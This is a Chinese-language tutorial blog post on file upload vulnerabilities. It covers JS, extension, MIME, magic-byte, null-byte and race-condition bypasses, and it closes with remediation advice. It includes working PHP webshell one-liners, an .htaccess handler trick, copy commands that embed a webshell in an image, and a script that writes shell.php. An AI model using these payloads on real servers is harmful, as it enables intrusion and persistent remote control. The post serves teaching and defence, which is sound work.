文件上传漏洞

基本概念

文件上传漏洞是发生在有上传功能的应用中,如果应用程序对用户的上传文件没有控制或者存在缺陷,攻击者可以利用应用上传功能存在的缺陷,上传木马、病毒等有危害的文件到服务器上面,控制服务器。
文件上传漏洞产生的主要原因是:应用中存在上传功能,但是上传的文件没有经过严格的合法性检验或者检验函数存在缺陷,导致可以上传木马文件到服务器。
文件上传漏洞危害极大因为可以直接上传恶意代码到服务器上,可能会造成服务器的网页篡改、网站被挂马、服务器被远程控制、被安装后门等严重的后果。
下面介绍的只有js是前端绕过,其余均为后端绕过。

文件上传漏洞一般上传什么马?
符合网站语言环境的一句话、冰蝎等等

iis服务器 asp或者aspx
apache服务器 php
tomcat中间件 jsp
weblogic中间件 jsp
nginx php

条件:可以上传文件到服务器并能解析执行、可以找到文件上传绝对路径。

js前端绕过

漏洞原理

前端JS过滤绕过上传漏洞是因为应用程序是在前端通过JS代码进行的验证,而不是在程序后端进行的验证

绕过方法

  1. 可以通过修改前端JS代码的方式进行绕过上传过滤,上传木马。

  2. JS的验证是在前端进行验证,将木马的后缀先改为jpg,这样就可以符合前端JS的验证,然后再通过抓包工具BurpSuite将发往服务器的数据包截包后,修改jpg后缀为php,因为后端没有验证这样就可以成功上传后缀为php的木马。
    在这里插入图片描述

  3. 禁用浏览器js
    在这里插入图片描述

文件后缀绕过

漏洞原理

通过函数pathinfo()函数获取文件后缀,将后缀转为小写后判断是不是php

绕过方法

黑名单:

  1. 有些中间件允许解析其他文件后缀,如php3、phtml
  2. 结合apache解析文件的方式,从右向左解析,遇到不认识的继续向左寻找,直至找到。若未找到,则输出文件。因此,我们可以通过构造形似名为1.php.123的木马文件来绕过。到时候访问1.php.123文件即可
  3. 在程序开发时,没有考虑到系统特性,并没有做限制。利用windows系统的特性,可以在后缀中加“.”或者“::$DATA”来绕过

白名单
白名单拥有比黑名单更好的的防御机制,如
$WhiteList =array('rar','jpg','png','bmp','gif','jpg','doc');
在获取到文件扩展名后对$WhiteList数组里的扩展名迭代判断,如果文件扩展名被命中,程序将认为文件是合法的,否则不允许上传。
白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

  1. 0x00 截断绕过
    用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击。
  2. 解析/包含漏洞绕过
    这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析/包含漏洞。
  3. .htaccess 文件攻击
    Apache的.htaccess:<FilesMatch “xxx”>SetHandler application/x-httpd-php 设置名
    字含xxx的文件为php可执行文件。
    上传一个自定义的 .htaccess,然后上传一个代码注入过的白名单文件,就可以轻松绕过各种检测。

.htaccess 文件攻击步骤:

  1. 构造.htaccess 文件,.htaccess 文件的内容是AddType application/x-httpd-php .jpg
  2. 构造图片马文件,xx.jpg是正常的图片文件,ma.txt的文件内容是<?php @eval($_POST['1']);?>,利用命令copy 111.jpg /b + a.txt muma.jpg,获得图片马muma.jpg。
  3. 通过上传功能上传.htaccess和tpm.jpg文件。
  4. 两个文件上传成功后访问图片马,发现里面的PHP代码已经成功解析。

文件类型绕过

MIME绕过

MIME:Mutipurpose Internet Mail Extensions, 多用途Internet 邮箱扩展。
MIME是一个描述消息内容类型的 internet 标准。最早应用于电子邮件系统,后来也应用到浏览器。MIME是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用

漏洞原理

Content-Type用于定义网络文件的类型和网页的编码,用来告诉文件接收方将以什么形式、
什么编码读取这个文件。
在这里插入图片描述

绕过方法

Content-Type是在数据包的请求包头中,开发者会通过Content-Type的类型判断文件是否允许上传,但是Content-Type的类型可以通过抓包篡改,这样就可以通过抓包修改数据包的Content-Type来绕过Content-Type判断。

  1. 上传一个PHP文件
  2. 使用burpsuite拦截查看MIME类型
  3. 发现PHP文件的MIME类型为 application/octet-stream
  4. 服务端会判断文件类型是否是 image/gif
  5. 无法通过验证
  6. 需要将http请求中的Content-Type更改为image/gif类型
  7. 绕过上传
    在这里插入图片描述

文件幻数检测

基本原理

通常用的==getimagesize()==函数获取图片长宽信息,如果上传的不是文件,则获取不了信息。

绕过方法

  1. 木马的头文件中添加图片文件的文件头即可绕过检测,木马的内容:
    GIF89a<?php @eval($_REQUEST[123]);?>
常用图片头部值:
JFIF FF D8 FF E0 00 10 4A 46 49 46
GIF89a 47 49 46 38 39 61(GIF89a)
PNG 89 50 4E 47
  1. 通过copy命令进行图片木马制作绕过检测
    111.jpg是正常的图片文件,a.txt是木马的代码<?php @eval($_POST['feng']);?>
    通过copy命令,copy 111.jpg /b + a.txt /a test.php,将两个文件合成到test.php木马文件中。
  2. 图片隐写:完整的JPG由FF D8开头,FF D9结束,图片浏览器会忽略FF D9之后的内容,因此可以在JPG文件之后加入其他的文件。

文件截断绕过

基本原理

当PHP<5.3.4且magic_quotes_gpc为OFF状态,由于php会把%00当做结束符,导致后面的数据直接忽略,造成截断,上传时如果上传文件的路径可控,可以通过00截断,进行木马上传。
在文件上传后,服务器会重命名上传文件,且路径可控。这样,我们可以添加1.php%00来实现绕过:
原路径:

/uploads/123456.php   #123456.php是重命名后的文件
改为/uploads/1.php%00123456.php     #这样%00后的数据被忽略,于是我们就实现了写入。

绕过方法

GET类型:

  1. 在上传php文件时,先利用bp进行抓包,抓到后,我们先修改文件类型
  2. 在文件路径部分追加1.php%00
    在这里插入图片描述

POST类型:

  1. 同GET一样,先抓包。
  2. 在文件路径部分追加1.php%00。要注意的是,%00是url编码,我们需要将%00改为0x00,这里可以利用bp里的hex功能,将其改为00在这里插入图片描述

文件竞争上传

漏洞原理

一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。

绕过方法

利用成功上传到删除文件的时间差,上传一个具有写功能的.php文件,在未删除之前立即访问,则会执行.php文件写的代码。
这样我们就可以实现写入恶意代码的目的。

.php文件代码:
<?php
fputs(fopen('./shell.php','w'),'<?php phpinfo();?>');
?>

这样就可以生成一个shell.php文件,并且不会被删除。

漏洞修复

  1. 使用白名单限制文件上传的类型。
  2. 对上传文件进行随机重命名,并且文件的扩展名不允许用户自定义。
  3. 对文件上传的文件夹进行权限限制,去掉脚本的执行权限。
  4. 对文件的内容进行恶意代码的检测。
  5. 文件服务器单独设置
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值